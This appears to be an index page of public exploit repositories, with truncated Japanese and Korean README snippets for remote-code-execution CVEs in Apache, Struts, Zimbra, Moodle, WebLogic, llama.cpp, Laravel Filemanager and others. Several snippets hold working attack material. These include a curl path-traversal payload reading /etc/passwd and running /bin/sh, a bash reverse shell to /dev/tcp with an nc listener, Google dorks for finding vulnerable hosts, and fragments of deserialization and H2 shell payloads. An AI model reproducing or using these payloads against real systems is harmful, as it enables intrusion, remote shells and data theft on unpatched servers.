CVE-2025-53772

CVE-2025-53772 - Microsoft Web Deploy RCE エクスプロイト CVE-2025-53772用のPythonベースのエクスプロイト。Microsoft Web Deploy msdeploy のリモートコード実行脆弱性で、HTTPヘッダーデータの安全でない逆シリアル化によって引き起こされます。 🎬 POC ビデオ 脆弱性の概要 プロパティ| 値 ---|--- CVE ID| CVE-2025-53772 CVSS スコア| 8.8 高 影響を受ける製品| Microsoft Web Deploy 4.0 脆弱なバージョン| │...

CVE-2025-55182

CVE-2025-55182 スキャナー このリポジトリは、Next.js React Server Components RSC における CVE-2025-55182 RCE および CVE-2025-55183 ソースコード開示 のスキャナーツールを含みます。 ⚠️ 免責事項 このツールは教育および許可されたテスト目的のみに使用してください。 所有していない、または明示的なテスト許可がないシステムでこのツールを使用しないでください。作者は不正使用について一切の責任を負いません。 遅延をお詫びします。分析のために別の脆弱性に遭遇しました。問題を報告してくれてありがとう。...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 このリポジトリは hgrab-framework の一部です dork title: "Zimbra Web Client Sign In" 影響を受ける製品 Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 およびそれ以前 Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 およびそれ以前 インストール サーバーにアプリをインストールします user@domain: git clone...

CVE-2026-34159

CVE-2026-34159 CVE-2026-34159 Lama.cpp RPC サーバー バージョン b8487 用の0クリックRCEエクスプロイト エクスプロイトは Hassan Ali @Casp3r0x0 によって開発されました 完全な解説は以下でご覧いただけます https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

MoodleExploit

Moodle エクスプロイト Exploit Title: Moodle v3.4.1 RCE エクスプロイト Google Dork: inurl:"/course/jumpto.php?jump=" 日付: 2019年3月15日 作成者: Darryn Ten Vendor Homepage: https://moodle.org Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip バージョン: 3.4.1 おそらく 3.5.0 さらには 3.x も対象 テスト環境: Linux Moodle v3.4...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux のデフォルトドキュメントビューア deepin-reader RCE CVE-2023-50254: パッチ未適用の Deepin Linux デスクトップに影響を与える deepin-reader RCE の PoC エクスプロイト。Deepin Linux のデフォルトのドキュメントリーダーである「deepin-reader」ソフトウェアは、巧妙に細工された docx ドキュメントを介してリモートコマンド実行を引き起こす設計上の欠陥により、深刻な脆弱性の影響を受けます。 詳細 Deepin-reader...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData 프로젝트는 다음에 의존합니다: https://github.com/5up3rc/weblogiccmd 데모 요구 사항 1. JDK 버전 JDK6u211/7u201/8u191 2. Weblogic 버전 12.2.1.4.0 불법적으로 사용하지 마십시오!!!!!!!! 참고 자료 1. https://www.anquanke.com/post/id/210724 2...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 例 package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n" ...

CVE-2022-26133

CVE-2022-26133 情報 説明 Atlassian Bitbucket Data Center の SharedSecretClusterAuthenticator は、バージョン 5.14.0 以降 7.6.14 より前、7.7.0 以降 7.17.6 より前、7.18.0 以降 7.18.4 より前、7.19.0 以降 7.19.4 より前、および 7.20.0 において、リモートかつ認証されていない攻撃者が Java のデシリアライゼーションを介して任意のコードを実行できるようにします。 状態 - PUBLIC 問題種別 -信頼できないデータのデシリアライゼーション...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 における Path Traversal の脆弱性 RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh フォローする Vulnmachines YouTube Twitter Facebook Linked...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

fastjson-1.2.58-rce

fastjson-1.2.58-rce 必要なもの: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar fastjson-1.2.58.jar のダウンロード...

CVE-2019-12384

CVE-2019-12384 Jackson RCE And SSRF 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） 1.インストール pip3 install -r requirements.txt 2.使用方法 $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V / // || / / | || | / / / / ||...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Laravel設定インジェクションを介したコード実行 脆弱性に関するブログ記事 https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ これはCTFや学習目的で使用できます。 楽しんでください。神のご加護がありますように。...

CVE-2024-21546

CVE-2024-21546 Python エクスプロイト 🔥 説明 この Python エクスプロイトスクリプトは、UniSharp が作成した脆弱性のある Laravel Filemanager を標的とし、認証済みユーザーがファイル制限を回避して悪意のあるファイルをアップロードできるようにします。アップロードされたペイロードが実行されると、リモートコード実行 RCE につながる可能性があります。 このエクスプロイトは以下を実行します: ユーザー指定の laravelsession を検証します 正規表現で CSRF token を抽出します PHP リバースシェルペイロードを含む偽...

CVE-2022-46080

このプロジェクトは、Nexxtルーター、特にバージョン15.03.06.60におけるリモートコード実行（RCE）脆弱性の概念実証エクスプロイトを提供します。この脆弱性により、攻撃者は認証なしでルーターのTelnetサービスを有効にし、不正アクセスを取得する可能性があります。 CVEリファレンス CVE-2022-46080 （NexxtルーターRCEエクスプロイト） 特徴 認証不要のリモートコード実行 ：脆弱性を悪用して任意のコードを実行します。 Telnetサービス有効化 ：指定されたパスワードとポートでルーターにTelnetサービスを有効にします。 使い方 前提条件 Python 3...

CVE-2021-40444

Microsoft MSHTML リモートコード実行の脆弱性 CVE-2021-40444 個々のシステムでActiveXコントロールを無効にするには？ 1. すべてのゾーンでInternet ExplorerのActiveXコントロールのインストールを無効にするには、以下をテキストファイルに貼り付け、.regファイル拡張子で保存します： Windows Registry Editor Version 5.00 HKEYLOCALMACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet...

apache-vulnerable

Apache 버전 '제로데이' 스캔 Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 사용 방법 : nuclei가 필요합니다! https://github.com/projectdiscovery/nuclei 로컬 nuclei 설치를 확인하고 템플릿을 검증하세요 nuclei -t apache-vulnerable-versions.yaml -vv and nuclei -t apache-path-traversal-rce-v2.yaml -vv 다음과 같은 출력이 나타나야...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - 인증되지 않은 제한된 원격 코드 실행 설명: WordPress용 Time Clock 플러그인 및 Time Clock Pro 플러그인은 버전 1.2.2 Time Clock 및 1.1.4 Time Clock Pro까지, 'etimeclockwploadfunctioncallback' 함수를 통해 원격 코드 실행에 취약합니다. 이를 통해 인증되지 않은 공격자가 서버에서 코드를 실행할 수 있습니다. 호출된 함수의 매개변수는 지정할...